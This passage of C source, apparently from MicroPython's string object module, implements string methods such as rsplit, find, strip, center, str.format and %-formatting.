match;\n        }\n        mp_obj_list_append(res, mp_obj_new_str_of_type(self_type, start, sub_len));\n        s += match;\n    }\n\n    return res;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(str_splitlines_obj, 1, str_splitlines);\n#endif\n\nSTATIC mp_obj_t str_rsplit(size_t n_args, const mp_obj_t *args) {\n    if (n_args < 3) {\n        // If we don't have split limit, it doesn't matter from which side\n        // we split.\n        return mp_obj_str_split(n_args, args);\n    }\n    const mp_obj_type_t *self_type = mp_obj_get_type(args[0]);\n    mp_obj_t sep = args[1];\n    GET_STR_DATA_LEN(args[0], s, len);\n\n    mp_int_t splits = mp_obj_get_int(args[2]);\n    if (splits < 0) {\n        // Negative limit means no limit, so delegate to split().\n        return mp_obj_str_split(n_args, args);\n    }\n\n    mp_int_t org_splits = splits;\n    // Preallocate list to the max expected # of elements, as we\n    // will fill it from the end.\n    mp_obj_list_t *res = MP_OBJ_TO_PTR(mp_obj_new_list(splits + 1, NULL));\n    mp_int_t idx = splits;\n\n    if (sep == mp_const_none) {\n        mp_raise_NotImplementedError(\"rsplit(None,n)\");\n    } else {\n        size_t sep_len;\n        const char *sep_str = mp_obj_str_get_data(sep, &sep_len);\n\n        if (sep_len == 0) {\n            mp_raise_ValueError(\"empty separator\");\n        }\n\n        const byte *beg = s;\n        const byte *last = s + len;\n        for (;;) {\n            s = last - sep_len;\n            for (;;) {\n                if (splits == 0 || s < beg) {\n                    break;\n                } else if (memcmp(s, sep_str, sep_len) == 0) {\n                    break;\n                }\n                s--;\n            }\n            if (s < beg || splits == 0) {\n                res->items[idx] = mp_obj_new_str_of_type(self_type, beg, last - beg);\n                break;\n            }\n            res->items[idx--] = mp_obj_new_str_of_type(self_type, s + sep_len, last - s - sep_len);\n            last = s;\n            if (splits > 0) {\n                splits--;\n            }\n        }\n        if (idx != 0) {\n            // We split less parts than split limit, now go cleanup surplus\n            size_t used = org_splits + 1 - idx;\n            memmove(res->items, &res->items[idx], used * sizeof(mp_obj_t));\n            mp_seq_clear(res->items, used, res->alloc, sizeof(*res->items));\n            res->len = used;\n        }\n    }\n\n    return MP_OBJ_FROM_PTR(res);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_rsplit_obj, 1, 3, str_rsplit);\n\nSTATIC mp_obj_t str_finder(size_t n_args, const mp_obj_t *args, int direction, bool is_index) {\n    const mp_obj_type_t *self_type = mp_obj_get_type(args[0]);\n    mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0]));\n\n    // check argument type\n    if (mp_obj_get_type(args[1]) != self_type) {\n        bad_implicit_conversion(args[1]);\n    }\n\n    GET_STR_DATA_LEN(args[0], haystack, haystack_len);\n    GET_STR_DATA_LEN(args[1], needle, needle_len);\n\n    const byte *start = haystack;\n    const byte *end = haystack + haystack_len;\n    if (n_args >= 3 && args[2] != mp_const_none) {\n        start = str_index_to_ptr(self_type, haystack, haystack_len, args[2], true);\n    }\n    if (n_args >= 4 && args[3] != mp_const_none) {\n        end = str_index_to_ptr(self_type, haystack, haystack_len, args[3], true);\n    }\n\n    const byte *p = find_subbytes(start, end - start, needle, needle_len, direction);\n    if (p == NULL) {\n        // not found\n        if (is_index) {\n            mp_raise_ValueError(\"substring not found\");\n        } else {\n            return MP_OBJ_NEW_SMALL_INT(-1);\n        }\n    } else {\n        // found\n        #if MICROPY_PY_BUILTINS_STR_UNICODE\n        if (self_type == &mp_type_str) {\n            return MP_OBJ_NEW_SMALL_INT(utf8_ptr_to_index(haystack, p));\n        }\n        #endif\n        return MP_OBJ_NEW_SMALL_INT(p - haystack);\n    }\n}\n\nSTATIC mp_obj_t str_find(size_t n_args, const mp_obj_t *args) {\n    return str_finder(n_args, args, 1, false);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_find_obj, 2, 4, str_find);\n\nSTATIC mp_obj_t str_rfind(size_t n_args, const mp_obj_t *args) {\n    return str_finder(n_args, args, -1, false);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_rfind_obj, 2, 4, str_rfind);\n\nSTATIC mp_obj_t str_index(size_t n_args, const mp_obj_t *args) {\n    return str_finder(n_args, args, 1, true);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_index_obj, 2, 4, str_index);\n\nSTATIC mp_obj_t str_rindex(size_t n_args, const mp_obj_t *args) {\n    return str_finder(n_args, args, -1, true);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_rindex_obj, 2, 4, str_rindex);\n\n// TODO: (Much) more variety in args\nSTATIC mp_obj_t str_startswith(size_t n_args, const mp_obj_t *args) {\n    const mp_obj_type_t *self_type = mp_obj_get_type(args[0]);\n    GET_STR_DATA_LEN(args[0], str, str_len);\n    GET_STR_DATA_LEN(args[1], prefix, prefix_len);\n    const byte *start = str;\n    if (n_args > 2) {\n        start = str_index_to_ptr(self_type, str, str_len, args[2], true);\n    }\n    if (prefix_len + (start - str) > str_len) {\n        return mp_const_false;\n    }\n    return mp_obj_new_bool(memcmp(start, prefix, prefix_len) == 0);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_startswith_obj, 2, 3, str_startswith);\n\nSTATIC mp_obj_t str_endswith(size_t n_args, const mp_obj_t *args) {\n    GET_STR_DATA_LEN(args[0], str, str_len);\n    GET_STR_DATA_LEN(args[1], suffix, suffix_len);\n    if (n_args > 2) {\n        mp_raise_NotImplementedError(\"start/end indices\");\n    }\n\n    if (suffix_len > str_len) {\n        return mp_const_false;\n    }\n    return mp_obj_new_bool(memcmp(str + (str_len - suffix_len), suffix, suffix_len) == 0);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_endswith_obj, 2, 3, str_endswith);\n\nenum { LSTRIP, RSTRIP, STRIP };\n\nSTATIC mp_obj_t str_uni_strip(int type, size_t n_args, const mp_obj_t *args) {\n    mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0]));\n    const mp_obj_type_t *self_type = mp_obj_get_type(args[0]);\n\n    const byte *chars_to_del;\n    uint chars_to_del_len;\n    static const byte whitespace[] = \" \\t\\n\\r\\v\\f\";\n\n    if (n_args == 1) {\n        chars_to_del = whitespace;\n        chars_to_del_len = sizeof(whitespace);\n    } else {\n        if (mp_obj_get_type(args[1]) != self_type) {\n            bad_implicit_conversion(args[1]);\n        }\n        GET_STR_DATA_LEN(args[1], s, l);\n        chars_to_del = s;\n        chars_to_del_len = l;\n    }\n\n    GET_STR_DATA_LEN(args[0], orig_str, orig_str_len);\n\n    size_t first_good_char_pos = 0;\n    bool first_good_char_pos_set = false;\n    size_t last_good_char_pos = 0;\n    size_t i = 0;\n    int delta = 1;\n    if (type == RSTRIP) {\n        i = orig_str_len - 1;\n        delta = -1;\n    }\n    for (size_t len = orig_str_len; len > 0; len--) {\n        if (find_subbytes(chars_to_del, chars_to_del_len, &orig_str[i], 1, 1) == NULL) {\n            if (!first_good_char_pos_set) {\n                first_good_char_pos_set = true;\n                first_good_char_pos = i;\n                if (type == LSTRIP) {\n                    last_good_char_pos = orig_str_len - 1;\n                    break;\n                } else if (type == RSTRIP) {\n                    first_good_char_pos = 0;\n                    last_good_char_pos = i;\n                    break;\n                }\n            }\n            last_good_char_pos = i;\n        }\n        i += delta;\n    }\n\n    if (!first_good_char_pos_set) {\n        // string is all whitespace, return ''\n        if (self_type == &mp_type_str) {\n            return MP_OBJ_NEW_QSTR(MP_QSTR_);\n        } else {\n            return mp_const_empty_bytes;\n        }\n    }\n\n    assert(last_good_char_pos >= first_good_char_pos);\n    //+1 to accommodate the last character\n    size_t stripped_len = last_good_char_pos - first_good_char_pos + 1;\n    if (stripped_len == orig_str_len) {\n        // If nothing was stripped, don't bother to dup original string\n        // TODO: watch out for this case when we'll get to bytearray.strip()\n        assert(first_good_char_pos == 0);\n        return args[0];\n    }\n    return mp_obj_new_str_of_type(self_type, orig_str + first_good_char_pos, stripped_len);\n}\n\nSTATIC mp_obj_t str_strip(size_t n_args, const mp_obj_t *args) {\n    return str_uni_strip(STRIP, n_args, args);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_strip_obj, 1, 2, str_strip);\n\nSTATIC mp_obj_t str_lstrip(size_t n_args, const mp_obj_t *args) {\n    return str_uni_strip(LSTRIP, n_args, args);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_lstrip_obj, 1, 2, str_lstrip);\n\nSTATIC mp_obj_t str_rstrip(size_t n_args, const mp_obj_t *args) {\n    return str_uni_strip(RSTRIP, n_args, args);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_rstrip_obj, 1, 2, str_rstrip);\n\n#if MICROPY_PY_BUILTINS_STR_CENTER\nSTATIC mp_obj_t str_center(mp_obj_t str_in, mp_obj_t width_in) {\n    GET_STR_DATA_LEN(str_in, str, str_len);\n    mp_uint_t width = mp_obj_get_int(width_in);\n    if (str_len >= width) {\n        return str_in;\n    }\n\n    vstr_t vstr;\n    vstr_init_len(&vstr, width);\n    memset(vstr.buf, ' ', width);\n    int left = (width - str_len) / 2;\n    memcpy(vstr.buf + left, str, str_len);\n    return mp_obj_new_str_from_vstr(mp_obj_get_type(str_in), &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(str_center_obj, str_center);\n#endif\n\n// Takes an int arg, but only parses unsigned numbers, and only changes\n// *num if at least one digit was parsed.\nSTATIC const char *str_to_int(const char *str, const char *top, int *num) {\n    if (str < top && '0' <= *str && *str <= '9') {\n        *num = 0;\n        do {\n            *num = *num * 10 + (*str - '0');\n            str++;\n        }\n        while (str < top && '0' <= *str && *str <= '9');\n    }\n    return str;\n}\n\nSTATIC bool isalignment(char ch) {\n    return ch && strchr(\"<>=^\", ch) != NULL;\n}\n\nSTATIC bool istype(char ch) {\n    return ch && strchr(\"bcdeEfFgGnosxX%\", ch) != NULL;\n}\n\nSTATIC bool arg_looks_integer(mp_obj_t arg) {\n    return MP_OBJ_IS_TYPE(arg, &mp_type_bool) || MP_OBJ_IS_INT(arg);\n}\n\nSTATIC bool arg_looks_numeric(mp_obj_t arg) {\n    return arg_looks_integer(arg)\n#if MICROPY_PY_BUILTINS_FLOAT\n        || mp_obj_is_float(arg)\n#endif\n    ;\n}\n\nSTATIC mp_obj_t arg_as_int(mp_obj_t arg) {\n#if MICROPY_PY_BUILTINS_FLOAT\n    if (mp_obj_is_float(arg)) {\n        return mp_obj_new_int_from_float(mp_obj_float_get(arg));\n    }\n#endif\n    return arg;\n}\n\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE\nSTATIC NORETURN void terse_str_format_value_error(void) {\n    mp_raise_ValueError(\"bad format string\");\n}\n#else\n// define to nothing to improve coverage\n#define terse_str_format_value_error()\n#endif\n\nSTATIC vstr_t mp_obj_str_format_helper(const char *str, const char *top, int *arg_i, size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) {\n    vstr_t vstr;\n    mp_print_t print;\n    vstr_init_print(&vstr, 16, &print);\n\n    for (; str < top; str++) {\n        if (*str == '}') {\n            str++;\n            if (str < top && *str == '}') {\n                vstr_add_byte(&vstr, '}');\n                continue;\n            }\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                terse_str_format_value_error();\n            } else {\n                mp_raise_ValueError(\"single '}' encountered in format string\");\n            }\n        }\n        if (*str != '{') {\n            vstr_add_byte(&vstr, *str);\n            continue;\n        }\n\n        str++;\n        if (str < top && *str == '{') {\n            vstr_add_byte(&vstr, '{');\n            continue;\n        }\n\n        // replacement_field ::=  \"{\" [field_name] [\"!\" conversion] [\":\" format_spec] \"}\"\n\n        const char *field_name = NULL;\n        const char *field_name_top = NULL;\n        char conversion = '\\0';\n        const char *format_spec = NULL;\n\n        if (str < top && *str != '}' && *str != '!' && *str != ':') {\n            field_name = (const char *)str;\n            while (str < top && *str != '}' && *str != '!' && *str != ':') {\n                ++str;\n            }\n            field_name_top = (const char *)str;\n        }\n\n        // conversion ::=  \"r\" | \"s\"\n\n        if (str < top && *str == '!') {\n            str++;\n            if (str < top && (*str == 'r' || *str == 's')) {\n                conversion = *str++;\n            } else {\n                if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                    terse_str_format_value_error();\n                } else if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_NORMAL) {\n                    mp_raise_ValueError(\"bad conversion specifier\");\n                } else {\n                    if (str >= top) {\n                        mp_raise_ValueError(\n                            \"end of format while looking for conversion specifier\");\n                    } else {\n                        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n                            \"unknown conversion specifier %c\", *str));\n                    }\n                }\n            }\n        }\n\n        if (str < top && *str == ':') {\n            str++;\n            // {:} is the same as {}, which is the same as {!s}\n            // This makes a difference when passing in a True or False\n            // '{}'.format(True) returns 'True'\n            // '{:d}'.format(True) returns '1'\n            // So we treat {:} as {} and this later gets treated to be {!s}\n            if (*str != '}') {\n                format_spec = str;\n                for (int nest = 1; str < top;) {\n                    if (*str == '{') {\n                        ++nest;\n                    } else if (*str == '}') {\n                        if (--nest == 0) {\n                            break;\n                        }\n                    }\n                    ++str;\n                }\n            }\n        }\n        if (str >= top) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                terse_str_format_value_error();\n            } else {\n                mp_raise_ValueError(\"unmatched '{' in format\");\n            }\n        }\n        if (*str != '}') {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                terse_str_format_value_error();\n            } else {\n                mp_raise_ValueError(\"expected ':' after format specifier\");\n            }\n        }\n\n        mp_obj_t arg = mp_const_none;\n\n        if (field_name) {\n            int index = 0;\n            if (MP_LIKELY(unichar_isdigit(*field_name))) {\n                if (*arg_i > 0) {\n                    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                        terse_str_format_value_error();\n                    } else {\n                        mp_raise_ValueError(\n                            \"can't switch from automatic field numbering to manual field specification\");\n                    }\n                }\n                field_name = str_to_int(field_name, field_name_top, &index);\n                if ((uint)index >= n_args - 1) {\n                    mp_raise_msg(&mp_type_IndexError, \"tuple index out of range\");\n                }\n                arg = args[index + 1];\n                *arg_i = -1;\n            } else {\n                const char *lookup;\n                for (lookup = field_name; lookup < field_name_top && *lookup != '.' && *lookup != '['; lookup++);\n                mp_obj_t field_q = mp_obj_new_str(field_name, lookup - field_name, true/*?*/);\n                field_name = lookup;\n                mp_map_elem_t *key_elem = mp_map_lookup(kwargs, field_q, MP_MAP_LOOKUP);\n                if (key_elem == NULL) {\n                    nlr_raise(mp_obj_new_exception_arg1(&mp_type_KeyError, field_q));\n                }\n                arg = key_elem->value;\n            }\n            if (field_name < field_name_top) {\n                mp_raise_NotImplementedError(\"attributes not supported yet\");\n            }\n        } else {\n            if (*arg_i < 0) {\n                if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                    terse_str_format_value_error();\n                } else {\n                    mp_raise_ValueError(\n                        \"can't switch from manual field specification to automatic field numbering\");\n                }\n            }\n            if ((uint)*arg_i >= n_args - 1) {\n                mp_raise_msg(&mp_type_IndexError, \"tuple index out of range\");\n            }\n            arg = args[(*arg_i) + 1];\n            (*arg_i)++;\n        }\n        if (!format_spec && !conversion) {\n            conversion = 's';\n        }\n        if (conversion) {\n            mp_print_kind_t print_kind;\n            if (conversion == 's') {\n                print_kind = PRINT_STR;\n            } else {\n                assert(conversion == 'r');\n                print_kind = PRINT_REPR;\n            }\n            vstr_t arg_vstr;\n            mp_print_t arg_print;\n            vstr_init_print(&arg_vstr, 16, &arg_print);\n            mp_obj_print_helper(&arg_print, arg, print_kind);\n            arg = mp_obj_new_str_from_vstr(&mp_type_str, &arg_vstr);\n        }\n\n        char fill = '\\0';\n        char align = '\\0';\n        int width = -1;\n        int precision = -1;\n        char type = '\\0';\n        int flags = 0;\n\n        if (format_spec) {\n            // The format specifier (from http://docs.python.org/2/library/string.html#formatspec)\n            //\n            // [[fill]align][sign][#][0][width][,][.precision][type]\n            // fill        ::=  <any character>\n            // align       ::=  \"<\" | \">\" | \"=\" | \"^\"\n            // sign        ::=  \"+\" | \"-\" | \" \"\n            // width       ::=  integer\n            // precision   ::=  integer\n            // type        ::=  \"b\" | \"c\" | \"d\" | \"e\" | \"E\" | \"f\" | \"F\" | \"g\" | \"G\" | \"n\" | \"o\" | \"s\" | \"x\" | \"X\" | \"%\"\n\n            // recursively call the formatter to format any nested specifiers\n            MP_STACK_CHECK();\n            vstr_t format_spec_vstr = mp_obj_str_format_helper(format_spec, str, arg_i, n_args, args, kwargs);\n            const char *s = vstr_null_terminated_str(&format_spec_vstr);\n            const char *stop = s + format_spec_vstr.len;\n            if (isalignment(*s)) {\n                align = *s++;\n            } else if (*s && isalignment(s[1])) {\n                fill = *s++;\n                align = *s++;\n            }\n            if (*s == '+' || *s == '-' || *s == ' ') {\n                if (*s == '+') {\n                    flags |= PF_FLAG_SHOW_SIGN;\n                } else if (*s == ' ') {\n                    flags |= PF_FLAG_SPACE_SIGN;\n                }\n                s++;\n            }\n            if (*s == '#') {\n                flags |= PF_FLAG_SHOW_PREFIX;\n                s++;\n            }\n            if (*s == '0') {\n                if (!align) {\n                    align = '=';\n                }\n                if (!fill) {\n                    fill = '0';\n                }\n            }\n            s = str_to_int(s, stop, &width);\n            if (*s == ',') {\n                flags |= PF_FLAG_SHOW_COMMA;\n                s++;\n            }\n            if (*s == '.') {\n                s++;\n                s = str_to_int(s, stop, &precision);\n            }\n            if (istype(*s)) {\n                type = *s++;\n            }\n            if (*s) {\n                if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                    terse_str_format_value_error();\n                } else {\n                    mp_raise_ValueError(\"invalid format specifier\");\n                }\n            }\n            vstr_clear(&format_spec_vstr);\n        }\n        if (!align) {\n            if (arg_looks_numeric(arg)) {\n                align = '>';\n            } else {\n                align = '<';\n            }\n        }\n        if (!fill) {\n            fill = ' ';\n        }\n\n        if (flags & (PF_FLAG_SHOW_SIGN | PF_FLAG_SPACE_SIGN)) {\n            if (type == 's') {\n                if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                    terse_str_format_value_error();\n                } else {\n                    mp_raise_ValueError(\"sign not allowed in string format specifier\");\n                }\n            }\n            if (type == 'c') {\n                if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                    terse_str_format_value_error();\n                } else {\n                    mp_raise_ValueError(\n                        \"sign not allowed with integer format specifier 'c'\");\n                }\n            }\n        }\n\n        switch (align) {\n            case '<': flags |= PF_FLAG_LEFT_ADJUST;     break;\n            case '=': flags |= PF_FLAG_PAD_AFTER_SIGN;  break;\n            case '^': flags |= PF_FLAG_CENTER_ADJUST;   break;\n        }\n\n        if (arg_looks_integer(arg)) {\n            switch (type) {\n                case 'b':\n                    mp_print_mp_int(&print, arg, 2, 'a', flags, fill, width, 0);\n                    continue;\n\n                case 'c':\n                {\n                    char ch = mp_obj_get_int(arg);\n                    mp_print_strn(&print, &ch, 1, flags, fill, width);\n                    continue;\n                }\n\n                case '\\0':  // No explicit format type implies 'd'\n                case 'n':   // I don't think we support locales in uPy so use 'd'\n                case 'd':\n                    mp_print_mp_int(&print, arg, 10, 'a', flags, fill, width, 0);\n                    continue;\n\n                case 'o':\n                    if (flags & PF_FLAG_SHOW_PREFIX) {\n                        flags |= PF_FLAG_SHOW_OCTAL_LETTER;\n                    }\n\n                    mp_print_mp_int(&print, arg, 8, 'a', flags, fill, width, 0);\n                    continue;\n\n                case 'X':\n                case 'x':\n                    mp_print_mp_int(&print, arg, 16, type - ('X' - 'A'), flags, fill, width, 0);\n                    continue;\n\n                case 'e':\n                case 'E':\n                case 'f':\n                case 'F':\n                case 'g':\n                case 'G':\n                case '%':\n                    // The floating point formatters all work with anything that\n                    // looks like an integer\n                    break;\n\n                default:\n                    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                        terse_str_format_value_error();\n                    } else {\n                        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n                            \"unknown format code '%c' for object of type '%s'\",\n                            type, mp_obj_get_type_str(arg)));\n                    }\n            }\n        }\n\n        // NOTE: no else here. We need the e, f, g etc formats for integer\n        //       arguments (from above if) to take this if.\n        if (arg_looks_numeric(arg)) {\n            if (!type) {\n\n                // Even though the docs say that an unspecified type is the same\n                // as 'g', there is one subtle difference, when the exponent\n                // is one less than the precision.\n                //\n                // '{:10.1}'.format(0.0) ==> '0e+00'\n                // '{:10.1g}'.format(0.0) ==> '0'\n                //\n                // TODO: Figure out how to deal with this.\n                //\n                // A proper solution would involve adding a special flag\n                // or something to format_float, and create a format_double\n                // to deal with doubles. In order to fix this when using\n                // sprintf, we'd need to use the e format and tweak the\n                // returned result to strip trailing zeros like the g format\n                // does.\n                //\n                // {:10.3} and {:10.2e} with 1.23e2 both produce 1.23e+02\n                // but with 1.e2 you get 1e+02 and 1.00e+02\n                //\n                // Stripping the trailing 0's (like g) does would make the\n                // e format give us the right format.\n                //\n                // CPython sources say:\n                //   Omitted type specifier.  Behaves in the same way as repr(x)\n                //   and str(x) if no precision is given, else like 'g', but with\n                //   at least one digit after the decimal point. */\n\n                type = 'g';\n            }\n            if (type == 'n') {\n                type = 'g';\n            }\n\n            switch (type) {\n#if MICROPY_PY_BUILTINS_FLOAT\n                case 'e':\n                case 'E':\n                case 'f':\n                case 'F':\n                case 'g':\n                case 'G':\n                    mp_print_float(&print, mp_obj_get_float(arg), type, flags, fill, width, precision);\n                    break;\n\n                case '%':\n                    flags |= PF_FLAG_ADD_PERCENT;\n                    #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n                    #define F100 100.0F\n                    #else\n                    #define F100 100.0\n                    #endif\n                    mp_print_float(&print, mp_obj_get_float(arg) * F100, 'f', flags, fill, width, precision);\n                    #undef F100\n                    break;\n#endif\n\n                default:\n                    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                        terse_str_format_value_error();\n                    } else {\n                        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n                            \"unknown format code '%c' for object of type 'float'\",\n                            type, mp_obj_get_type_str(arg)));\n                    }\n            }\n        } else {\n            // arg doesn't look like a number\n\n            if (align == '=') {\n                if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                    terse_str_format_value_error();\n                } else {\n                    mp_raise_ValueError(\n                        \"'=' alignment not allowed in string format specifier\");\n                }\n            }\n\n            switch (type) {\n                case '\\0': // no explicit format type implies 's'\n                case 's': {\n                    size_t slen;\n                    const char *s = mp_obj_str_get_data(arg, &slen);\n                    if (precision < 0) {\n                        precision = slen;\n                    }\n                    if (slen > (size_t)precision) {\n                        slen = precision;\n                    }\n                    mp_print_strn(&print, s, slen, flags, fill, width);\n                    break;\n                }\n\n                default:\n                    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                        terse_str_format_value_error();\n                    } else {\n                        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n                            \"unknown format code '%c' for object of type 'str'\",\n                            type, mp_obj_get_type_str(arg)));\n                    }\n            }\n        }\n    }\n\n    return vstr;\n}\n\nmp_obj_t mp_obj_str_format(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) {\n    mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0]));\n\n    GET_STR_DATA_LEN(args[0], str, len);\n    int arg_i = 0;\n    vstr_t vstr = mp_obj_str_format_helper((const char*)str, (const char*)str + len, &arg_i, n_args, args, kwargs);\n    return mp_obj_new_str_from_vstr(&mp_type_str, &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(str_format_obj, 1, mp_obj_str_format);\n\nSTATIC mp_obj_t str_modulo_format(mp_obj_t pattern, size_t n_args, const mp_obj_t *args, mp_obj_t dict) {\n    mp_check_self(MP_OBJ_IS_STR_OR_BYTES(pattern));\n\n    GET_STR_DATA_LEN(pattern, str, len);\n    const byte *start_str = str;\n    bool is_bytes = MP_OBJ_IS_TYPE(pattern, &mp_type_bytes);\n    size_t arg_i = 0;\n    vstr_t vstr;\n    mp_print_t print;\n    vstr_init_print(&vstr, 16, &print);\n\n    for (const byte *top = str + len; str < top; str++) {\n        mp_obj_t arg = MP_OBJ_NULL;\n        if (*str != '%') {\n            vstr_add_byte(&vstr, *str);\n            continue;\n        }\n        if (++str >= top) {\n            goto incomplete_format;\n        }\n        if (*str == '%') {\n            vstr_add_byte(&vstr, '%');\n            continue;\n        }\n\n        // Dictionary value lookup\n        if (*str == '(') {\n            if (dict == MP_OBJ_NULL) {\n                mp_raise_TypeError(\"format requires a dict\");\n            }\n            arg_i = 1; // we used up the single dict argument\n            const byte *key = ++str;\n            while (*str != ')') {\n                if (str >= top) {\n                    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                        terse_str_format_value_error();\n                    } else {\n                        mp_raise_ValueError(\"incomplete format key\");\n                    }\n                }\n                ++str;\n            }\n            mp_obj_t k_obj = mp_obj_new_str((const char*)key, str - key, true);\n            arg = mp_obj_dict_get(dict, k_obj);\n            str++;\n        }\n\n        int flags = 0;\n        char fill = ' ';\n        int alt = 0;\n        while (str < top) {\n            if (*str == '-')      flags |= PF_FLAG_LEFT_ADJUST;\n            else if (*str == '+') flags |= PF_FLAG_SHOW_SIGN;\n            else if (*str == ' ') flags |= PF_FLAG_SPACE_SIGN;\n            else if (*str == '#') alt = PF_FLAG_SHOW_PREFIX;\n            else if (*str == '0') {\n                flags |= PF_FLAG_PAD_AFTER_SIGN;\n                fill = '0';\n            } else break;\n            str++;\n        }\n        // parse width, if it exists\n        int width = 0;\n        if (str < top) {\n            if (*str == '*') {\n                if (arg_i >= n_args) {\n                    goto not_enough_args;\n                }\n                width = mp_obj_get_int(args[arg_i++]);\n                str++;\n            } else {\n                str = (const byte*)str_to_int((const char*)str, (const char*)top, &width);\n            }\n        }\n        int prec = -1;\n        if (str < top && *str == '.') {\n            if (++str < top) {\n                if (*str == '*') {\n                    if (arg_i >= n_args) {\n                        goto not_enough_args;\n                    }\n                    prec = mp_obj_get_int(args[arg_i++]);\n                    str++;\n                } else {\n                    prec = 0;\n                    str = (const byte*)str_to_int((const char*)str, (const char*)top, &prec);\n                }\n            }\n        }\n\n        if (str >= top) {\nincomplete_format:\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                terse_str_format_value_error();\n            } else {\n                mp_raise_ValueError(\"incomplete format\");\n            }\n        }\n\n        // Tuple value lookup\n        if (arg == MP_OBJ_NULL) {\n            if (arg_i >= n_args) {\nnot_enough_args:\n                mp_raise_TypeError(\"not enough arguments for format string\");\n            }\n            arg = args[arg_i++];\n        }\n        switch (*str) {\n            case 'c':\n                if (MP_OBJ_IS_STR(arg)) {\n                    size_t slen;\n                    const char *s = mp_obj_str_get_data(arg, &slen);\n                    if (slen != 1) {\n                        mp_raise_TypeError(\"%%c requires int or char\");\n                    }\n                    mp_print_strn(&print, s, 1, flags, ' ', width);\n                } else if (arg_looks_integer(arg)) {\n                    char ch = mp_obj_get_int(arg);\n                    mp_print_strn(&print, &ch, 1, flags, ' ', width);\n                } else {\n                    mp_raise_TypeError(\"integer required\");\n                }\n                break;\n\n            case 'd':\n            case 'i':\n            case 'u':\n                mp_print_mp_int(&print, arg_as_int(arg), 10, 'a', flags, fill, width, prec);\n                break;\n\n#if MICROPY_PY_BUILTINS_FLOAT\n            case 'e':\n            case 'E':\n            case 'f':\n            case 'F':\n            case 'g':\n            case 'G':\n                mp_print_float(&print, mp_obj_get_float(arg), *str, flags, fill, width, prec);\n                break;\n#endif\n\n            case 'o':\n                if (alt) {\n                    flags |= (PF_FLAG_SHOW_PREFIX | PF_FLAG_SHOW_OCTAL_LETTER);\n                }\n                mp_print_mp_int(&print, arg, 8, 'a', flags, fill, width, prec);\n                break;\n\n            case 'r':\n            case 's':\n            {\n                vstr_t arg_vstr;\n                mp_print_t arg_print;\n                vstr_init_print(&arg_vstr, 16, &arg_print);\n                mp_print_kind_t print_kind = (*str == 'r' ? PRINT_REPR : PRINT_STR);\n                if (print_kind == PRINT_STR && is_bytes && MP_OBJ_IS_TYPE(arg, &mp_type_bytes)) {\n                    // If we have something like b\"%s\" % b\"1\", bytes arg should be\n                    // printed undecorated.\n                    print_kind = PRINT_RAW;\n                }\n                mp_obj_print_helper(&arg_print, arg, print_kind);\n                uint vlen = arg_vstr.len;\n                if (prec < 0) {\n                    prec = vlen;\n                }\n                if (vlen > (uint)prec) {\n                    vlen = prec;\n                }\n                mp_print_strn(&print, arg_vstr.buf, vlen, flags, ' ', width);\n                vstr_clear(&arg_vstr);\n                break;\n            }\n\n            case 'X':\n            case 'x':\n                mp_print_mp_int(&print, arg, 16, *str - ('X' - 'A'), flags | alt, fill, width, prec);\n                break;\n\n            default:\n                if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                    terse_str_format_value_error();\n                } else {\n                    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n                        \"unsupported format character '%c' (0x%x) at index %d\",\n                        *str, *str, str - start_str));\n                }\n        }\n    }\n\n    if (arg_i != n_args) {\n        mp_raise_TypeError(\"not all arguments converted during string formatting\");\n    }\n\n    return mp_obj_new_str_from_vstr(is_bytes ? &mp_type_bytes : &mp_type_str, &vstr);\n}\n\n// The implementation is optimized, returning the original string if 